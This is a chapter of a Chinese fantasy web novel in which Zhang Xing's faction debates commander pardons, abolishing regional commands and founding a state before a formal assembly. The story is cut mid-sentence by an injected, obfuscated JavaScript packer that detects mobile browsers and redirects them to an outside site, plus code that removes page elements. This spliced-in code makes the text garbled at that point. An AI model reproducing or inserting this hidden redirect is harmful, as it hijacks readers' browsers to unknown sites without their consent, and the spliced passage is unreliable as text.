为首的陈斌明显是有些失望的那种,他是先是点点头,然后重新打起精神恭维:“首席甫一出兵,便横扫河北,薛罗伏诛,降服北地,荡魔卫易帜,须臾**澄清……这份功业,怎么称赞都不为过。” “那倒不至于,都是些瓜熟蒂落的事情,东都才是关键,灭英才是大业所在,而现在的主要任务则是扫荡北地。”张行干脆作答。“让大家散了吧,只头领们一起进去说事。” “是要现在就正式开会吗?”陈斌肃然来问。“牛指挥与周副指挥晚上才能到。” “不至于,风尘仆仆的,今天先讨论一下,明日再表决。”张行连连摆手。“总得让大家晓得我们要说什么,省的稀里糊涂就跟着举了手……还有幽州、河间刚来的人,也要先缓缓,见见咱们开会是怎么回事。” 陈斌点了头,而其余众人则轰然一时,居然立即照做了。 平心而论,张首席的威势越来越大了,从河北去北地时他自己就有感觉了,然后从北地回来以后就更有这种感觉了……什么事情说一句,周围人能办就给办了;而除了极少数人,现在大部分人(无论帮内帮外)在面对他时,也不会有之前那种抗辩讨论的气氛了,唱反调更是一次没见着,哪怕是明显有抵触,也能自我压制消化了。 张三郎自是个见多识广的,当然晓得这样不好。 接下来来到行宫正堂,众人只按照平日开会的形势坐下,乃是头领里面环坐,幽州与河间降人则随参军和文书们在外。 至于张首席虽然是想要速速达成共识以求明日通过一些方略,却还是放缓了节奏,并对着聚拢来的几十个大小头领放低了姿态:“其实北地的事情还没有最后结果,这次回来,一则是要给帮里做个汇报;二则是要做好继续扫荡、接收北地的准备;三则也确实有些事情要与大家商议。” 众人都不吭声,也不知道在想什么……这样子哪里是打了大胜仗回来分桃子,根本就是麻杆打狼两头怕的古怪样子,也不知道是怎么回事。 外围的降人们赶得急,还不晓得“兴明县”的事情,更是茫茫然不解。 张行无奈,只能将幽州招降、北地谈判的结果大约说了一遍,只暂时没说要替人家黜龙的事情,然后又介绍了一下第一次来的洪长涯,还让徐世英、窦立德、谢鸣鹤几人将新降之人做介绍……这个时候就能看出来了,带着晋北三郡来降的洪长涯得到了充足的尊重,而对上幽州、河间降人时,连黜龙帮例行的鼓掌都变得稀疏起来,也就是曾经力战三宗师的幽州大将、宗师魏文达稍得了些体面。 折腾了一通后,张行也终于做了强调:“这些举措大多是之前空闲那半年里大家商议好的预案,我按照帮里给我的权责,挑着来的。” 这话说完,气氛到底是好了一些。 陈斌先点头:“首席处置的极好。” “说的不错。”程知理也开口赞扬,而且是站起身来对着身后人放声来讲。“这一年登州人口回流,各处事业百废俱兴,偏偏东夷人又来骚扰,我愈发觉得做事之艰难……就首席做的这些大策略,莫说是跟帮里人商量过的预案,便不是,也没有半点指摘的余地,因为这种事情但凡能做成便已经是千难万难了,何况首席做的这般利索?” 这话虽是拍马和表功,但也道出了一些做事的道理,立即引来不少人附和,便是单通海都微微点了下头。 “现在最关键的,还是北地的事情……”张行继续言道。“咱们要继续发兵,务必在冬日前解决北地,没道理得了荡魔卫的认可,反而不趁机秋风扫落叶。” 众人纷纷颔首,这次参与度就多了,毕竟这事顺理成章。 有之前闲置的头领趁机说愿意去领兵的,有大行台这里的头领认真问反抗方还有多少实力的,还有人问荡魔卫局势,能否及时参战? 而张行则分别依次解答,并将来的路上黑延的言语趁机托出,最后亲自提出建议:“北地那里,一则要继续出兵,扫荡干净;二则需要大家通过正式会议上的说法,给前方一些不同以往的临机决断之权……允许前线那里在对俘虏策略上,以及用兵手段、用兵时机上,自行其是,军纪军法也稍作转圜。” 众人一时又议论起来,果然有些回到了以往开会时的样子。 张首席也赶紧补充:“不止如此,将来东夷、巫族,或者南岭都要如此……说白了,那些地方风俗习惯跟中原完全不一回事,相隔也远,咱们要让前线的人放开手脚。” 众人议论了一番,然后是单通海蹙眉先问:“只在边角地放开手脚,中原这里还是要严肃军中规矩?” “是。”徐世英接口应声。 “那敢问首席,这个放开手脚包不包括军纪上的事情……劫掠,屠城?”窦立德联想起之前谈话时自己被安排的职责,心里自然对这些事是有思量的,可却一直等到单通海开口,徐世英表态,才正式加入讨论。 “我不赞同有这个。”张行正色道。“我的意思里有两重……第一重是战术的灵活性和远方统帅的自**;第二重是部队孤悬在外,生死难定的时候,不能被规矩框死……比如说,咱们反对劫掠,但远征时部队生死存亡的时候允不允许征粮?允不允许征发工匠随军?反对杀降,可眼瞅着俘虏要反,要不要杀将领和军官以防**?” 众人凛然起来……须知道,即便是这一次扫荡河北的战斗极为顺利,可还是出现了因为急行军导致后方俘虏**的事情,为此徐大郎与雄天王在兴明县可真杀了个血流成河的。 这个时候,谢鸣鹤忽然插嘴表态:“若是这般,没有道理不允许,可我还是觉得这个讨论不要公布出去,只止于会议上做个决议……只头领们明白就好。” “这是应当的。”单通海也点头表示了有限的赞同。“但要给个说法,大家都是大头领、头领,便是龙头也有许多,道理上领的也只有一个营,不能谁到了北地都可以这般肆意……” “借大魏的名号,行军总管?” “咱们的行台指挥不就是行军总管吗?军政一把抓……” “那给个元帅、战帅的临时身份如何?” “名字无所谓。”单通海音调稍微高了一些。“关键是限制……不能人人到了北地都是战帅。” “一个地方一个嘛。”窦立德接口道。“北地最多一个,巫地也最多一个,东夷一个,要打仗、乱起来就设,地方安稳下来就撤,首席本人另算,只要首席去军中,都给个战帅一样的权柄。” “这样的话我同意。”单通海点头认可。“关键是要守规矩,不能滥权。” “非只如此。”崔肃臣插了句嘴。“这个规矩不应该是允许军中必要时如何,而是给予这些战帅一定范围内的赦免之权,劫掠还是犯军规,只是赦免了而已,而且战帅每次撤下时也该让军务部或者帮务部对他的赦免做审查……不然的话,下面的人察觉到有空隙可钻,就会肆无忌惮,最后制无可制。” “崔总管说到了要害。”张行大为赞赏。 “我之前便想着,战场上的事情不能一概而论,尤其是往后要打东都,更加艰难,准备这一次提一个特赦的说法。”魏玄定也趁机言道。“现在倒是撞到一块去了……省了事情。” “特赦也要有员额,而且事后要被审议。”张行赶紧补充。 周围几人零星点头,这个事情基本上就算是事先充分讨论了,基本上明天也不会遇到什么阻力,张行最担心的一件事情就算是顺利的预过了……这个方略,直接是对上李定征伐北地来的,但更重要的是为他计划中李定渡海击巫地的秘密战略做准备。 实际上,他从北地回来邺城这一趟,就是这个事情算是最重要,其余的不过是局势到了,该怎么办怎么办而已。 然而,面对着该怎么办怎么办的情况,接下来这个行宫大殿上却明显冷场了。 是真的冷场了,半晌无人开口,弄得几位圈子内里的几位张嘴就变成咳嗽……也不知道在怕什么、躲什么。实际上,之前别看讨论的热烈,但有心人早就察觉到古怪了,比如说刚刚那个事情牵扯到军纪,是雄天王的本职,天王本身又素来对帮务热情严肃,结果一直到现在,这位帮内威望可能仅次于张首席的人却只是呆坐不动,俨然是有心事的。 冷场中,张行无奈,只能赶紧点了座中一人,就好像是没话找话一般:“张公,有件事情想问问你,你觉得从北地出发,能跨海压制住巫族吗?” 后排的张世昭不知道在想什么,停了好一阵子方才回过神一般动了下身子,然后轻声笑道:“我觉得还是可以的。” “有什么说法吗?”张行追问。 “关于巫族巫地的说法,我倒是觉得,就属当年大魏说的最好,做的也不错。”张世昭继续坐在那里笑道。“我现在还记得先帝……不是曹彻……的那封讨巫诏书。彼时,大魏刚刚建立,东齐未尽,南陈未下,内里不稳,边防空虚,巫族又恰好难得一统,正要南下,大家都很害怕,这个时候先帝下了一封诏书,指出了巫族最大的几个弱点,号召大家不必畏惧,写的极为恳切,而且直指要害,后来曹彻在时,更是拿巫族三部之臣服验证了这封诏书。” “几个弱点具体怎么说?”张行好奇追问。 其余人也都再度打起精神。 “原文就不念了,只说大致意思。”张世昭言语从容,侃侃而言。“第一点,乃是说罪龙分割巫地,当年看是方便固守,但隔了几千年到现在,天下一体,交流频繁,中原物料发达,文化昌盛,巫族名为巫,实为人,反而需要迫切对外,这就使得毒漠与苦海反过来成了巫族之枷锁,使得巫族文化不能昌盛,经济不能繁荣,**也不能进步,就连军事实力也往往落后于整合起来的中原; “第二点,是说巫族被困在毒漠苦海之后,本该团结一体才对,但实际上,因为文明落后,始终是部落制度,而且人口受制于地方,经常需要频繁争夺草场、耕地、水源,以至于部族林立,仇怨深厚,哪怕是名义上有了什么可汗,但内里依然是父子相杀,兄弟相争,部族相残,乱成麻苇……尤其是统一了所谓一部的大部族,看起来都能称之为国家了,但部族越是庞大,内里被压榨的小部族就越多,反而更加不稳。 “第三点,还是说这毒漠苦海,毒漠苦海划定了地方,导致他们一旦遭遇天灾,就衰弱的不成样子。而且,因为地方被限制,因为贫穷落后,很多时候在我们看来不是什么大的灾害,到了他们那里就变成了灭国一般的灾祸,比如说冬天一场极大的大雪,我们这里反而会说瑞雪兆丰年,他们就可能生死攸关了,继而生乱……所以这种生乱之灾,对他们而言反而显得非常常见。实际上,如我所料不错,这种天灾导致的更迭,正是第二点他们只能团结于部落内部,不能团结与部落外部的一个重要缘故。 “而总体上说,因为有上面三点,这就导致他们看起来很强大,实际上注定只是中原的绊脚石与下酒菜,用对法子,先离乱他们的内部,然后趁着灾祸,主动去攻击他们,几次下来,就能让他们无法立足,然后被迫主动出兵,若出兵不能得,就只能降了。” “说的好!怪不得罪龙成了罪龙!”张行认真听完之后,精神大振,拊掌而叹。“诸位,巫族说是巫,其实是人,咱们黜龙帮既要安定天下,就没有道理不去救巫族于水火,只不过,咱们现在这个局势,主要还是得打东都,要跟白横秋争雄……所以要我说,不如让李定李龙头扫荡完北地后,就移镇到北地西路,让他观察着局势,只要对面巫族有灾,就主动打一打,不指望别的,最起码要让巫族东部不能反过来骚然我们的北地与晋北……你们觉得如何?” 张世昭愣愣看着张行,而周围大部分人此时也都有些恍惚——敢情之前说那些,是为了这个铺垫,李定居然要被撵到北地安置吗? 不是说张首席跟李定私交甚笃吗? 不过想想也是,去北地也不能说是差,何况张首席要做大事,总要把身侧这个半独立的行台给吃掉才好。 众人以为窥到了要害,自然纷纷严肃起来。 而单通海也似乎是意识到躲不过去,终于也问:“李龙头去北地,那武安怎么办?” “我准备请洪长涯洪龙头过来,连着新得的恒山一起交给他,替我们做西面防御。”张行立即给出答复。 众人看那洪长涯一声不吭,俨然早就得了言语,而且这种消除新来势力独立性的举措他们也没有任何理由反对,也都放下这个,赶紧问了下去。 “那晋北呢?”这次是陈斌来问。 “我想让周行范周大头领去。”张行立即应声。“你们觉得如何?把代郡还有幽州挨着苦海的那个什么大宁郡,一并划给晋北,建个专军务的行台,好让他们背靠河北,把控苦海,兼渗透晋地、河西。” “倒也不是不行。”陈斌当然不会反对这个。 实际上,大部分人都对这个任命无话可说,因为随着地盘的扩张,理论上要多出五六个行台的样子,这种情况下各个行台的副手理论上就成了最大受益人……而这其中,周行范是张首席心腹中的心腹,不可能不给他一个的。 更何况,这个安排本身妥妥当当,既能控制苦海、监视晋地与河西,还能趁机吞并掉洪长涯的晋北势力,委实无话可说。 “那河间让谁去?”谢鸣鹤本见到大家都不爽利,就跟白有思一般有些不耐,这次见到话题顺利扯了出来,终于是干脆问到了关键。 “河间拆郡吧。”张行干脆作答。“不设行台了,大行台直接管。” 周围人明显一静,很显然被这话惊到了。 倒是谢鸣鹤,闻言反而有些觉得趣味起来,便再来追问:“那幽州呢,也不设行台吗?” “设。”张行脱口而对。“幽州是监控北地的要害所在,肯定要设。” 谢鸣鹤还是蹙眉:“咱们许了荡魔卫两个龙头,人家又不乐意都在北地,另外一个出来倒也无话可说,可给负责监视北地的幽州,是不是太大方了?” “是。”张行恳切道。“所以,我准备让一个资历的龙头兼行台指挥去幽州……” “这就对了。”谢鸣鹤恍然,却又发现不对了。“可是这样的话,岂不是只一个河间三郡直领?那不设这个行台有什么意思吗?” “当然不能只河间三郡直领。”张行肃然以对。“魏郡这里的行台,济北的行台,将陵的行台,都没必要留着了,只打仗的地方继续安着行台。” 周围一时鸦雀无声。 但仅仅是一瞬之后,窦立德便站起身来,四下来看,然后扬声宣告:“诸位,这事我不能躲!先说清楚,首席路上就跟我说过,让我去幽州,可不管是去幽州,还是来大行台,咱们都得说明白,撤掉原本的行台做对帮里是有好处的,一口气打到北地后,这三个行台加上河间,其实已经是咱们的腹心之地了,而既是腹心之地,还让文武一把抓反而不妥当,应该把这些地方的力量都摆在邺城这里,随时对东都动作才对……我既是将陵行台的指挥,便先表个态,我愿意听首席安排,便是大家觉得我说这话是得了幽州的保证也无妨,我愿意辞了去做郡守。” 魏玄定与柴孝和还在发懵,被窦立德猝然偷袭,心中暗骂,却也只能赶紧起身表态。 不过,有一说一,这两位对这件事情还真没有什么特别难以接受的地方。 他们可不像某些人,整日里计较什么团团伙伙,想着自己威望。 “其余行台就不动了吗?”单通海自然不能让自己的盟友架在那里,赶紧插话来问张行。“只撤这几个?” “是。”回答单通海的居然是雄伯南。“其余行台就不动了……之前设立行台,本身是为了军事上方便,那现在的道理也是一样的,前线的地方,可能要随时调动兵马的地方,就还是行台……往后也是一样,比如东都打下来,那济阴就不好设行台了,但如果西都和晋地一直打不下来,东都就该设行台,或者干脆把大行台搬过去了。” 单通海微微颔首,这说明自己还有济阴行台在帮内的战略地位并没有被动摇。 “这件事情里面,其实还有个麻烦的地方。”徐大郎接口道。“那就是海防,马分管不在,得我来说……东夷人之前就从海路来骚扰,晓得我们速速扫荡了河北就跑了,现在这个情况是,落龙滩摆在那里,南北不能通畅,河北这边的海防又因为上次的事情失了舟船,那到底要如何处置?” “北面的渤海交给幽州行台,南面的东海交给徐州行台如何?” “也算是将就的法子了。” “要不专设个海疆行台,不是说许了荡魔卫两个龙头吗?出来一个坐镇海疆如何……” “人家新来乍到玩这个,与哄骗何异?” “那就幽州与徐州分开海疆的事情……只是这样的话,幽州的地盘和权责是不是太大了?” “要不,将幽州一分为二……分成东西两个行台?” 刚刚坐下的窦立德心里一跳,虽然晓得说这话的谢鸣鹤是故意挑逗自己,却偏偏也晓得眼下这个吹风会的重要性,便忍不住去看张行。 张行想了一想,继续来问:“关于撤掉的几个行台,兵马好说,往前靠、往邺城这里来就好,可是一直负责的军政指挥怎么说?大家有想法吗?” 这话问的尴尬,几人都不好说,魏玄定、窦立德、柴孝和只能继续做豪气。 还是陈斌主动来言:“我觉得既然南衙相公都能有六七个才妥当,咱们现在只三个副指挥,未免辅佐不力,何妨将几位放到大行台一起辅佐首席?当然,幽州也确实需要一位资历龙头,窦龙头跟魏龙头其实都合适。” 这话说的,窦立德都心中佩服……他如何不晓得,对方恰恰因为自己不在其中,这才主动开口的?但即便如此,也足够说明一些问题了。毕竟,对方那般小心眼的性格,都能为了大局忍让,不管是临时的,还是这几年养成了宰相气度,都说明黜龙帮这几年高层**气氛确实好,大家争成这个样子,都还能一起攒着劲做事情。 可是,既想到这里,窦立德非但没有高兴,反而有些不安与哀伤起来。 陈斌既然表态,张首席也明显轻松不少:“说得对,咱们要**行赏,不能让几位龙头入了大行台却没有好待遇,那不是平白收**柄吗?将来谁还能尽心尽责?不过话得说回来,就像陈副指挥说的那般,咱们的大行台副指挥上可议政,下可监督全帮,中可发布政令,这就是正经的南衙相公,所以,既入了此处,我的意思是,龙头的身份就不能定住了,该升升,该降降,总之要匹配下来,要么几位撤了龙头,要么几位副指挥都加龙头。” “首席的意思呢?”议论纷纷中,有人直接高喊了一句。 “我是赞成一起加龙头的,升官总比落官好。”张行大声回应。“再说了,咱们许了人家荡魔卫的是龙头,若是现在当南衙相公就要落了龙头,人家岂不是觉得咱们在防着人家?” 周围一时哄笑,笑声中,原本一直古怪而又尴尬的气氛到底是缓和了不少。 但很快,随着陈斌的下一句话,现场重新变得诡异起来: “首席,到现在为止大家都没有什么意见,包括撤行台的事情,几位龙头都很配合,那敢问明日会议可还有别的安排,何妨一并道来?” “其实也没别的事了。”张行想了一下,立即开口。“就是一个建国的事情。” 刚刚还欢声笑语的殿中瞬间变得鸦雀无声。 张行装若无事,继续认真讲道:“建国的事情其实老早就有人提,毕竟得联结郡县,这次打到幽州的时候,我又接到不少人的信,说是规制到了,正该建国……我呢,一直以来的态度,大家也都知道,就是不反对,不主动,可以建国,乃至于可以当国主,当皇帝,但得是咱们事业需要……这次去了幽州,跟卢思道卢公说了些话,又到了北地,仗着局势弄得两家合作,便也晓得,人家是希望名正言顺,希望咱们做个东齐规制的,如此才好收取人心,便也动了心思,你们商议一下,觉得可否?” 话音刚落,陈斌先开口:“我觉得可行!” 俨然是早有思索,等着一句话呢。 陈斌既言,谢鸣鹤从容跟上:“我也同意。” “我同意。”崔肃臣也跟上。“帮是帮,国是国,咱们郡县制度跟头领制度是并行的,互不耽误,现在帮里往上有了首席,郡县上头却只是行台,这不妥当……可以先建国立号,设了皇帝,然后一两年里借着几个行台转郡县和收北地,将大行台慢慢转成朝廷,各部名字都不用改的,只总管变尚书,副指挥变尚书仆射,就名正言顺了,连之前的服色品级也名副其实了。” 陈斌坚决表态,谢鸣鹤紧随,崔肃臣言之有理,登时引得大行台里的几位头领,以及早先就降服的河间大营出身头领附和起来。 “我也同意。”片刻后,徐世英随即来言,言简意赅。 “我也同意。”窦立德思想准备足够,也没有再观望。 单通海面色惨白……其实昨天晚上追上队伍后,他是跟窦立德有交流的,可问题在于就是一晚上而已,而且住的地方跟张行、雄伯南就两墙之隔,跟徐大郎干脆只隔着一个篱笆,什么敏感的话都不好说,窦立德只对他通报了一些基本情况,然后两人就都因为“兴明”二字背后的含义陷入到了患得患失之中。 所以,现在窦立德直接表态,剩他孤立无援,单通海也无话可说。 只是建国……建国就要有皇帝,皇帝就得一言九鼎,一言九鼎的话,那之前到现在,黜龙帮横行天下的倚仗,也就是大家一起开会说话举手,一起定大事的这个法子变得可有可无? 自己一直守着的规矩,也要成为人家嘴里一句话的事情。 当然,迄今为止,这些规矩,某种意义上也的确是这位首席一句话的事情,但那能一样吗? 正是因为想到这些,正是因为在座的所有人都从“兴明”二字传出来以后想到了这些,所以今日气氛才会从一开始就这么古怪……但偏偏,在连声赞同中,单通海却近乎绝望的发现,他根本没法鼓起勇气,喊出那句“我不同意”。 因为他心里很清楚,这句话并不能阻止任何事情,反而很可能会因为这句话失去更多的东西。 “什么同意不同意?”就在这时候,张首席忽然站起身来,挥手打断了所有人。“今日是通气,让大家晓得明日要说什么,又不是今日就举手开会,开会的话头领都没到齐呢!大家知道有这些事情就好……现在都散了吧,谢总管招待一下刚来的诸位,让他们有个落脚的地方,咱们明日再举手!我也要回去吃饭了。” 说着,竟然是背着手踱步出了这大堂。 单通海几乎是瘫在椅子上。 且不说众人散场后如何心怀鬼胎……张首席肯定要与大行台这里的心腹,以及今晚赶到的几位牛达、周行范等人做说明,其余人也都会各自串联……只说今日看了半天热闹的幽州众降将在回到给他们安排的馆舍后,也不免觉得有些古怪。 毕竟,这些人虽然今天老实的跟鸡崽子一般,但实际上哪个不是人精?今日旁观来看,反而看的更清楚。 “这些人是傻了吗?他们一开始**的时候,难道不是想着取而代之吗?” “想不通……那张首席说的够清楚了,他一直都说着要当皇帝的,又不是一直哄着这些人,怎么到了现在反而装作不知道了?” “说到底,还是张首席平日里哄着这些人了,便是没说不做皇帝,可一直摆出兄弟姿态,就让他们起了可以跟张首席讨价还价的心思……也不想想,今日便是讨价还价成了,明日张首席稳妥了,难道会不记得今日局面?哪来的胆子?” “说句不好听的,都是草莽,没有这个见识也是寻常……你看陈副指挥那些人,不就很坚决吗?” “这才是最古怪的地方,陈副指挥那些人也不对劲!他陈斌可是南陈皇族出身,谢鸣鹤是江东八大家的首席,崔肃臣是崔氏翘楚,这种事情别人不懂他们不懂吗?他们不该提前营造局面吗?今日在邺城北门,没有把黄袍拿出来,已经是失职了!” “要我说,张首席这是搬起石头砸自己的脚……平日里那一套真有人信了!” “卢公怎么想?”听着外面乘凉处渐渐放浪起来的议论,河间大营降人首领高湛忍不住回头来问卢思道。 “说的都对,但也都不对。”卢思道面色如常。“他们还是太小瞧了张首席这个人。” 高湛明显不解:“请卢公明示,我一个领兵的粗人,不懂得这些……” “道理很简单。”卢思道喟然道。“我与张首席接触不多,却也察觉,这个人是个**上的天才,而且是从天下大势走向到人事分派,全都算敏锐的……这种人,不可能不知道今日的古怪,但你看他似乎也有些畏缩和退让;而且,这种人如果一开始认定要当皇帝,中间早就排除异己,便是现在开始排除,然后过个一年半载再当皇帝又何妨?这都说明,张首席是晓得眼下这个情况的,而且眼下这个情况是他一手促成的。” 高湛醒悟:“确实,事情都在张首席掌握之中,没什么可计较的……那些犹疑的,应该是张首席故意放开让他们思量清楚;而陈副指挥那里,必然是张首席的意思,不要闹得那么急促,省的内里生分。” 卢思道缓缓点头,却不置可否:“或许吧,但张首席这个人过于高屋建瓴了,说不得他有别的想法……只不过我也不知道是什么罢了。” 高湛也只能胡乱颔首,然后又笑:“说破大天去,咱们一群降人,操什么心?明日若是让我们**座,我们只看着就行,若是让我们先入座,我们就跟着张首席与陈副指挥的意思举手便是。” 卢思道倒也无话可说。 这一夜,邺城除了有些炎热,其实殊无动静,所谓风雨雪电,一个都没有显化出来,只有双月愈发明亮,普照天下。当然了,风平浪静之下,是整个城市纷乱的人心。 皇帝,国主,不管怎么称呼……相较于什么大明,这个才是真正的关键。 “萧头领,这话就不要说了。”观风院内,杯盘狼藉之侧,张行有些无奈的摆手。“黜龙帮是反魏义军出身,我本人也是背魏浮马而走的叛贼,而且我们目前的根基是河北,对抗的主要敌人都是关陇名族……从哪个角度来说,我们都与大魏是对立的,绝不可能搞什么禅让……不是不承认大魏的正统和成绩,但要逆而取之。” 萧余坐在那里,得了答复后也没有多大反应,只是点点头:“昔日暴魏旧臣们聚在一起,寻我找首席做个说法,首席不愿意也就不愿意了,我回去也能交代。” 说着便站起身来,朝张行、陈斌几**略行礼,就要离开。 张行点点头,没有多说什么,反而是白有思赶紧起身笑言:“姑父慢行,我送你一送。” 众人诧异,张行也是一惊,但转念一想,萧余国舅加曹彻秘书的身份娶个白氏女不也寻常吗?就这些大魏余孽,哪个不是亲戚? 只是到底意识到是亲戚,便赶紧站起身来干笑了两声,然后踱步向前相送。 就这样,张行来到院门内,目送两人出了院门,转回院中,只见桌案凌乱摆设,陈斌、谢鸣鹤、张公慎、张金树、秦宝、牛达、周行范、王振、王焯、钱唐、程知理、张亮几人神色各异,只在交头接耳说些什么,晓得是之前劝解没有让这些人完全心服口服,便落回座位,要再说些什么……可话刚起个头,便诧异抬头,自行定住。 几人陆续去看,果然见到白有思转回,却居然带了一位意外之人,赫然是张世昭。 张行赶紧起身相迎,陈斌、周行范等人也没有之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168017|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的怠慢。 张世昭倒是干脆,其人直接拱手,停在院门内:“张首席,我不是来说什么建国的,有件事情要跟你说……请私下与我片刻。” 张行点头,便与对方上了观风院的观风楼上……有白有思这个宗师在楼下,倒也的确是私下了。 片刻后,张世昭便径直离去,张行也下了楼,众人看的清楚,这位首席明显是喜上眉梢。 “怎么说?”陈斌忍不住来问。 “英雄所见略同。”张行得意答道,复又补充了半句。“巫族的事情,我本该征询于他,却因为局势发展太快没来得及,也不好扩散,没想到今日为了铺垫聊了一下,他就主动寻我,结果居然是一个策略……这事不要说了” 陈斌几个知情人会意,却也没有明显振作,其余几人心中都有些疑惑,却都能藏得住,只有王振是根本没多想。 就这样,几位算是心腹之人又劝了张首席几句,眼见不成,虽然心中不安,却也无可奈何,尤其是此时已经完全来不及……而他们也醒悟,这张首席此番突袭,真正想打的人说不得就是他们这些张氏心腹。 翌日一早,作为一年之中最热的几日,太阳早早升起,刺破漳水迷雾,而众人也早早赶去大殿外吃廊下餐。看得出来,昨夜这行宫内外很多人都没睡好,只能说修为再高,也治不了失眠的。 张首席在这里,三位副指挥几位龙头也在,众人愈发无话可说,只早早吃了饭,闲聊了几句,就进了大殿。 入得殿中,众人也不着急入座,只是或站或立,闲聊了起来,又等了一会,殿内就因为太阳进一步高升与人多燥热起来,而众人只是不觉……但很快,随着一股明显的寒冰真气莫名从大殿青砖中逸出,殿内温度降下,众人终于不敢怠慢,纷纷按照以往惯例落座。 果然,须臾,甲士开始入内环列,文书、参军们也开始入内在偏侧铺陈笔墨,这时候,张行张首席终于带着几位龙头、大行台副指挥、总管从侧门转入了。 这一次,居然还是欧阳问来做主持: “诸位,这一次是因为战事发展太快,临时召开的帮务大会。 “按照上次修订的帮规,位于前线的头领多于总数三成时,计点会议时减去三成头领人数再做计较……如今李定李龙头引兵在北地,王叔勇王大头领以下十九人随从;杜破阵杜龙头引兵在江北,辅伯石傅大头领以下九人随从;再加上原本在北地、晋北执勤的黄平、尉迟融等五位头领,确系超过三成头领数量。 “而去年年底在这里的上次大会后,全帮头领增员至一百零一人,减去三成,当以七十一人来计,如今实际到达六十三人,大头领以上到二十四人,龙头、副指挥以上到十人,首席本人到场,符合帮规,即刻召开会议。” 凉爽的大殿内,众人齐齐呼了一口气热气出去。 “按照惯例,先做人事增补,齐泽、高士省两位头领战前便战署,此番战斗有功,如今随从李定李龙头在北,当即刻转正……六十三手,全员通过!” “又有封常、许敬祖两位文书,张首席案,封常资历深厚,功勋充足,许敬祖聪明可靠,立有殊勋,当加头领。” 众人有些措手不及,但马上反应过来,这是要在降人入列前,给这两位在帮内挺有名的文书一个说法,不然就有些尴尬了。 一念至此,大家倒也没有落这两位面子的意思,足足五十六手……倒是封常,原本患得患失之中猝然得了座位,仓促落座之余却是连被许敬祖正式追上都顾不得想了……只是觉得可以从此不再忧心生**。 欧阳问目送这位昔日同僚入内,晓得帮里平日说的江都五文书,也就是他欧阳问自己、萧余、虞常南、封常、许敬祖如今齐全,也有几分感慨,只是面色不变,继续捧着文书来做流程: “大行台副指挥领帮务部总管雄伯南议,以河间大营弃兵举地来降,按照之前全军通议,补大头领两位、头领八位,俱出自河间大营议和条款,大头领为高湛、王长和两员,八位头领为王长谐、张世让、王瑜、薛万成、薛万年、薛万全、慕容正则、孔德继……五十五手,过,请十位头领入座。” 此言既出,等在外面的十个河间降人便一起起身,只在高湛的带领下先与张行等人行礼,又与左右头领行礼,这才分成大小头领,依次入座。 平心而论,这个名单属于顺理成章中的顺理成章,除了一个薛万全原本喊着要给他爹守孝,结果只守了三个月,眼瞅着黜龙帮非但打下了整个河北,连北地都一枪攮到了头,又忙不迭凑过来,显得有些可笑外,其余都是经过这几个月仔细讨论的,都是河间大营里的头目人物,照理说,应该不会让人起什么多余心思了。 但实际上,眼瞅着这几人走下来,整个殿中还是忍不住漫漫唏嘘之态。 有的人是感慨,当日黜龙帮于冬日来到受了两年兵灾的河北,彼时遍地寸草不生,然后河间大营和整个河北的大魏地方势力一起当面压来,彼时真有些红山压顶之态……然而,如今来看呢? 曹善成**,张世遇**,薛万弼**,郭士平**,钱唐降了,陈斌降了,王伏贝降了,李定降了,冯无佚降了,窦丕**,薛常雄**,高湛降了,慕容正言残了,窦濡跑了,崔傥也跑了。 包括自己这边,高士通降了,留了下来;孙宣致降了,又战**,连当年帮里二号人物李枢都跑了,反倒是窦立德那批高鸡泊里吃水草的人如今立定了身姿。 就连这邺城行宫里的树都又绿了。 真真有一种大浪淘沙尽归海的感觉。 不是没有别的心思,一开始就有人想,河间大营的这十个人,除去三个薛氏子弟,其余七人全都是陈斌的同僚,天然就会归于这一边;还有人想,最后这批人,居然大部分是大族出身,黜龙帮便是义军起势,最终还是要靠这些人来治理天下的;当然,肯定也有人想起了死在之前几战中的亲友,心中难免有些愤愤。 但所有的心思,都渐渐被这种时势轮转无常之感给淹没。 回到眼前,新入列的降人头领,天然就会随着张首席的意向举手,而接下来,又有幽州十二位头领入列,总数达到八十六人,考虑到张行本人的威望和他自己的嫡系以及之前江都方向来的那群降人,基本上可以说,接下来什么议案都能名正言顺的通过了。 果然,接下来按部就班,基本上是顺着昨日通风会说的那个顺序,全程畅通无阻的将事情一件件正式的落实: 接纳荡魔卫的合并方案; 集中十五个营的兵马,抽调各部精锐,组成援军北上,支援李定; 建立战帅制度,允许在外统帅灵活使用战术以及**许诺,给与战帅一定战场行为赦免权力,正式授予李定此时清理北地、防备巫地之权责,成为第一位方面战帅; 正式通过特赦制度,允许张首席每年以五个员额的范围,针对特定刑案进行赦免,张首席在军中时默认拥有战帅的权责; 正式建立北地三行台,以武安行台为主,移镇为北地西行台,李定为行台指挥,其余两行台后续待论; 以原晋北行台为主,移镇为武安行台,增恒山郡,以龙头洪长涯为行台指挥; 以大头领周行范为晋北行台指挥,增代郡、大宁郡,加督苦海……这也是第一个没有升龙头的行台指挥; 紧接着,以龙头窦立德为幽州行台指挥,兼防备渤海; 撤将陵、魏郡、济北三大行台,分郡统归大行台直属; 以陈斌、雄伯南、徐世英三人加龙头。 事情到了这里,稍微拐了个弯,并没有继续大家等着的最关键议案,反而开启了一系列的,不能说是不值得讲,也不能说是没有意义,但也的确让人觉得乏味的对外议案: 派遣使者,往巫族联络大魏前公主,建立联系,查探情势; 派遣使者,往东夷谴责对方无故出兵河北骚扰地方,要求送回被扣两位头领,并查探东夷局势; 派遣使者,往江南要求萧氏对江都之战做出说明,并进一步查探江南局势; 派遣使者,越过江南,联络南岭诸部,查探情势,并要求他们明确统序; 派遣使者,往河西梁师城处,要求梁师城举地投降。 一番计较下来,欧阳问早已经口干舌燥,其余人哪怕是在如此凉爽的大殿内,也都有些昏沉起来,但随着张行忽然站起身来,却又都紧张起来,已经有几位头领想着待会怎么行礼了……张首席是不喜欢人下跪,还是喜欢告诉别人他不喜欢下跪? 这可不是一回事! 